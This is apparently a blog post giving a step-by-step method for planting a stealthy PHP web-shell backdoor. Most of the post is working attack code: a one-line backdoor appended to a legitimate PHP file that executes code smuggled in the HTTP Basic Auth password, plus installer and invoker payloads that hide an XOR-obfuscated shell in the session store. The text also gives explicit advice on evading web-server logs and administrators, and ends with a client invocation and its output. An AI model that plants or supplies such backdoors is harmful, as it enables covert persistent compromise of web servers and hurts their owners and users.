Let's consider this scenario:
- you are able to create a PHP file in the web root of the web server (for example by exploiting an arbitrary file upload, a RCE and so on...)
- you want to use a shell that is a bit more complete than: eval($_GET['c'])
- you want to be as stealth as possible (speaking of both artifacts left on the filesystem and at a network level)
This idea is pretty simple, let us see an example:
$fun = 'strrev'; print $fun('Hello');The result will be: olleH
Cool, so we can create something like:
$f = $_GET['c']; $f($_GET['p']);and we can pass as c = eval and as p = <my evil code>. Unfortunately it will not work :\ From the Variable functions page we can read:
"Variable functions won't work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like. Use wrapper functions to employ any of these constructs as variable functions."
Among the excluded functions there is also eval :( Ok, not too bad, if you know PHP, you will also know that there is the assert function that has a very similar behavior to eval and it is allowed :)
So, now we have a very simple PHP code that can execute arbitrary code with a very minimal footprint. The best choice would be to alter a legit .PHP file and append our short code to it, in this way no new files will be created on the file system. Now, our second concern is to cover our network trace.
To do this, we can opt for the GET method and pass the data via query string. This is probably the worst option since the query string is logged by default in the log web server.
As an alternative we can use the POST method for our communication, but if you have added the PHP code to a legit page that doesn't accept POST data, this could look suspicious and raise the attention of the administrator. Also in a log file the POST requests are considerably less that the GET requests, this fact can be spotted easily by a system administrator.
We should find something that is considered a bad practice to be logged, something that, if implemented, could be classified as the CWE-532: Information Exposure Through Log Files. Yes, you got it, we will use a password field :) To be more precise the HTTP Basic Authorization Header. This value is also encoded in base64 and can be accessed from PHP without any need to do a decode first. So, in the end our code will be something like:
<?php if (isset($_SERVER['PHP_AUTH_PW'])) { $a = explode("|", $_SERVER['PHP_AUTH_PW']); @$a[0]($a[1]); } ?>Now we need just one last step, the code that we want to execute should be user-friendlier than just that raw shell but we don't want to store it in a separate file in the web root, we need to find another place to store it and that can be easily accessed by PHP.
The perfect solution seems to be the SESSION object. This object is typically serialized in a file in the temp directory (as default configuration), so it is very unlikely that a system administrator takes a look at those files for no reason.
Let's have a brief recap:
- we have a very short and simple PHP code, possibly embedded inside a legit PHP file
- we will use the Autorization header to communicate with our code, this will avoid to have our data logged
- we will store the big PHP shell in the user session in order to be called later
0 1 2 3 assert|eval(base64_decode(INSTALLER))|SESSION_KEY|base64(PHP_SHELLCODE)The request will call the assert function (0), which in turn will call the eval function (1) (this is done to overcome the Variable Functions limitation) on a base64 decoded string (INSTALLER) which has this content:
session_start(); $a = explode("|", $_SERVER['PHP_AUTH_PW']); $_SESSION[$a[2]] = $a[3];This code just extracts the session key name from the data (2), the base64 encoded PHP web shell (3) (the content of $webshell) and save it in the user session. Now we have a PHP webshell in our session that is just waiting to be invoked :)
We can do this by sending the following data:
assert|eval(base64_decode(INVOKE))where the content of INVOKE is:
session_start(); if (array_key_exists("SESSION_KEY", $_SESSION)) { function xor_deobf($str, $key) { $out = ''; for($i = 0; $i < strlen($str); ++$i) $out .= ($str[$i] ^ $key[$i % strlen($key)]); return $out; } eval(xor_deobf(base64_decode($_SESSION["SESSION_KEY"]), "MY_HARCODED_KEY")); }Basically it verifies that the given SESSION_KEY is present and if so its content is executed. I have used a simple XOR obfuscation layer to be even more stealthy.
Of course, $webshell should also use the same communication channel in order to be stealth, otherwise you will loose your benefit :)
Conclusion
I hope that you have found this simple post useful. I created a simple python script that it is able to communicate with my code and execute commands.You can find it at: https://gist.github.com/enkomio/c6db9cb690bbeac1476fb3e56bf7c1a4
You can invoke it with the following command:
phquirk.py http://www.example.com/legit_file_with_my_code.php "print 'Hello from my web shell';"The result is:
[+] Using session value: PHPSESSID=d22838ce1683e0c9f7f634b10b [+] Encryption key: d51313ea1fd9233dfe8c40eacfde35e7290aaec8533cc0dd78 [+] Saved command in user session [+] Command result: Hello from my web shell
References
[1] PHP Backdoors: Hidden With Clever Use of Extract Function - https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html[2] PHP Callback Functions: Another Way to Hide Backdoors - https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html
[3] Variable functions - http://php.net/manual/en/functions.variable-functions.php
[4] A Look Into Creating A Truley Invisible PHP Shell - https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell/
Nessun commento:
Posta un commento
Nota. Solo i membri di questo blog possono postare un commento.